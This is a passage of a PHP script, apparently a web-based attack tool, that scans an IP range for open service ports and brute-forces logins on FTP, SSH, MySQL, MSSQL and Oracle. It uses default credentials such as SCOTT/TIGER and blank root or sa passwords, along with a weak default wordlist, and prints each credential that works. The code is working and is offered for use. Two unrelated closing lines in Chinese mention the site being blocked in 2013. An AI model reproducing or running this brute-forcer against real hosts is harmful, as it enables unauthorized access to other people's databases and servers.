echo "FTP $addr".':'.$port.'Username: '.$username.' pwd: '.$pass.'<br/>';
}
}
}
ftp_close($ftp);
break;

case 'mysql':

if(@mysql_connect($addr.':'.$port, 'root', '')){
echo 'MySQL Username: root EMPTY PASSWORD<br/>';
}
foreach($userlist as $username){
foreach($passlist as $pass){
if(@mysql_connect($addr.':'.$port, $username, $pass)){
echo 'MySQL Username: '.$username.' pwd: '.$pass.'<br/>';
}
}
}
break;

case 'mssql':
if(@mssql_connect($addr,'sa','')){
echo 'MSSQL Username: sa EMPTY PASSWORD<br/>';
}
foreach($userlist as $username){
foreach($passlist as $pass){
if(@mssql_connect($addr, $username, $pass)){
echo 'MSSQL Username: '.$username.' pwd: '.$pass.'<br/>';
}
}
}
break;

case 'oracle':
if(@oci_connect('SCOTT','TIGER',$addr)){
echo 'Oracle Username SCOTT pwd: TIGER';
}
if(@oci_connect('SYSTEM','MANAGER',$addr)){
echo 'Oracle Username SYSTEM pwd: MANAGER';
}
if(@oci_connect('DBSNMP','DBSNMP',$addr)){
echo 'Oracle Username DBSNMP pwd: DBSNMP';
}
foreach($userlist as $username){
foreach($passlist as $pass){
if(@oci_connect($username,$pass,$addr)){
echo 'Oracle Username: '.$username.' pwd: '.$pass.'<br/>';
}
}
}
break;

case 'ssh':
$ssh=@ssh2_connect($addr,'22');
foreach($userlist as $username){
foreach($passlist as $pass){
if(@ssh2_auth_password($ssh,$username,$pass)){
echo 'SSH Username: '.$username.' pwd: '.$pass.'<br/>';
}
}
}
break;
}
}

function scanip($ip,$timeout){
$portarr=array(
'21'=>'FTP',
'22'=>'SSH',
'23'=>'Telnet',
'25'=>'SMTP',
'79'=>'Finger',
'80'=>'HTTP',
'81'=>'HTTP/Proxy',
'110'=>'POP3',
'135'=>'MS Netbios',
'139'=>'MS Netbios',
'143'=>'IMAP',
'162'=>'SNMP',
'389'=>'LDAP',
'443'=>'HTTPS',
'445'=>'MS SMB',
'873'=>'rsync',
'1080'=>'Proxy/HTTP Server',
'1433'=>'MS SQL Server',
'2433'=>'MS SQL Server Hidden',
'1521'=>'Oracle DB Server',
'1522'=>'Oracle DB Server',
'3128'=>'Squid Cache Server',
'3129'=>'Squid Cache Server',
'3306'=>'MySQL Server',
'3307'=>'MySQL Server',
'3500'=>'Squid Cache Server',
'3389'=>'MS Terminal Service',
'5800'=>'VNC Server',
'5900'=>'VNC Server',
'8080'=>'Proxy/HTTP Server',
'10000'=>'Webmin',
'11211'=>'Memcached'

);
foreach($portarr as $port=>$name){
if(check_port($ip,$port,$timeout=0.1)==True){
echo 'Port: '.$port.' '.$name.' is open<br/>';
@ob_flush();
@flush();

if(isset($_SESSION['crack'])||$_SESSION['crack']==true){
switch($port){

case '21':
$type='ftp';
break;

case '22':
$type='ssh';
break;

case '1433':
$type='mssql';
break;

case '1521':
case '1522':
$type='oracle';
break;

case '3306':
case '3307':
$type='mysql';
break;

default:
$type=false;
}
if($type){
global $userarr,$passarr;
crackpwd($ip,$port,$userarr,$passarr,$type);

@ob_flush();
@flush();
}

}//if
}
}
}

if(!isset($_SESSION['startip'])){
$_SESSION['startip']='Start IP';
$_SESSION['endip']='End IP';
$_SESSION['username']='root
admin';
$_SESSION['password']='123456
root
123123
admin
qwerty';
}

echo '<html>
<form action="" method="post">
<input type="text" name="startip" value="'.$_SESSION['startip'].'" />
<input type="text" name="endip" value="'.$_SESSION['endip'].'" />
Timeout<input type="text" name="timeout" value="0.1" /><br/>
Auto Crack Password on MSSQL,MYSQL,Oracle,SSH,FTP
<input type="checkbox" name="crack" value="Crack password"><br/>
<textarea rows="10" cols="30" name="username">'.$_SESSION['username'].'
</textarea>
<textarea rows="10" cols="30" name="password">'.$_SESSION['password'].'
</textarea><br/>
<button type="submit" name="submit">Scan</button>
</form>
</html>
';
if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['timeout'])){
if(isset($_POST['crack'])){
global $userarr,$passarr;
$_SESSION['crack']=true;
$userarr=array_unique(explode("\n",str_replace("\r", "", $_POST['username'])));
$passarr=array_unique (explode("\n",str_replace("\r", "", $_POST['password'])));
$_SESSION['username']=$_POST['username'];
$_SESSION['password']=$_POST['password'];
}
$startip=$_POST['startip'];
$endip=$_POST['endip'];
$timeout=$_POST['timeout'];
$siparr=explode('.',$startip);
$eiparr=explode('.',$endip);
$ciparr=$siparr;
if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){
exit('IP error: Wrong IP address or Trying to scan class A address');
}
$_SESSION['startip']=$startip;
$_SESSION['endip']=$endip;
if($startip==$endip){
echo 'Scanning IP '.$startip.'<br/>';
@ob_flush();
@flush();
scanip($startip,$timeout);
@ob_flush();
@flush();
exit();
}

if($eiparr[3]!=255){
$eiparr[3]+=1;
}
while($ciparr!=$eiparr){
$ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];
echo '<br/>Scanning IP '.$ip.'<br/>';
@ob_flush();
@flush();
scanip($ip,$timeout);
$ciparr[3]+=1;

if($ciparr[3]>255){
$ciparr[2]+=1;
$ciparr[3]=0;
}
if($ciparr[2]>255){
$ciparr[1]+=1;
$ciparr[2]=0;
}
}
}else{
exit('Missing input');
}
?>

本站已于2013年1月18日获得了中国互联网最权威部门的认证

本站在2013年1月18日获得了GFW最高级别的认证,IP封锁认证。特留本帖做纪念。